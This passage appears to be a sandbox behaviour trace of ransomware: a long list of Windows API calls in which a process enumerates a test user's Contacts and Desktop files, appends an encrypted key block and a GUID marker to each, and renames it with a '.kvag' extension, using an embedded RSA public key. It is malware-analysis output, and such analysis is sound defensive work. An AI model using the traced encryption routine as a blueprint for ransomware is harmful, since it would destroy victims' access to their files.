KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.896] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.897] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.897] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.897] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.897] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.897] SetLastError (dwErrCode=0x0) [0118.897] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] GetLastError () returned 0x0 [0118.898] SetLastError (dwErrCode=0x0) [0118.898] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.898] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.898] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.898] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.898] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.898] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x6778188 [0118.899] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.899] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.899] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.899] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.899] CloseHandle (hObject=0x61c) returned 1 [0118.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.kvag")) returned 1 [0118.901] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0118.901] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0118.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.902] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1172) returned 1 [0118.902] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.910] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.911] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.912] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x494, lpOverlapped=0x0) returned 1 [0118.912] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.912] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.912] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.912] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.913] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.913] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.913] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.913] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.913] GetLastError () returned 0x0 [0118.913] SetLastError (dwErrCode=0x0) [0118.913] GetLastError () returned 0x0 [0118.913] SetLastError (dwErrCode=0x0) [0118.913] GetLastError () returned 0x0 [0118.913] SetLastError (dwErrCode=0x0) [0118.913] GetLastError () returned 0x0 [0118.913] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] GetLastError () returned 0x0 [0118.914] SetLastError (dwErrCode=0x0) [0118.914] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.914] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.915] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.915] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.915] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.915] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x6778188 [0118.915] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.915] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.915] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.915] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.915] CloseHandle (hObject=0x61c) returned 1 [0118.916] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.kvag")) returned 1 [0118.917] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0118.917] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0118.917] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0118.917] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0118.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0118.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.918] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.918] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.918] PathFindFileNameW (pszPath="") returned="" [0118.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0118.918] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0118.918] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0118.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0118.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.918] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.918] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.918] PathFindFileNameW (pszPath="") returned="" [0118.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e96c970, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x7e96c970, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0118.918] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e96c970, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x7e96c970, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.918] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba5180, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0x7352e800, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x70f08e00, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0xf5c17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2B74.TMP.EXE.exe", cAlternateFileName="2B74TM~1.EXE")) returned 1 [0118.918] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned=".exe" [0118.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.919] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1006615) returned 1 [0118.919] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.922] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf5bf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.922] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.924] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x25805, lpOverlapped=0x0) returned 1 [0118.926] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.926] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.926] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.926] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0118.927] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.927] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.927] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.927] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.929] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0118.929] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.929] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.929] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.930] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0118.931] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf5c17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.931] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.931] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.931] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.931] CloseHandle (hObject=0x61c) returned 1 [0118.945] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe.kvag")) returned 1 [0118.947] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafa4bb70, ftCreationTime.dwHighDateTime=0x1d4d547, ftLastAccessTime.dwLowDateTime=0x55a1daf0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x55a1daf0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x17ec9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="73vID7uoOX7691K_8lf.flv", cAlternateFileName="73VID7~1.FLV")) returned 1 [0118.947] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\73vID7uoOX7691K_8lf.flv") returned=".flv" [0118.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\73vID7uoOX7691K_8lf.flv" 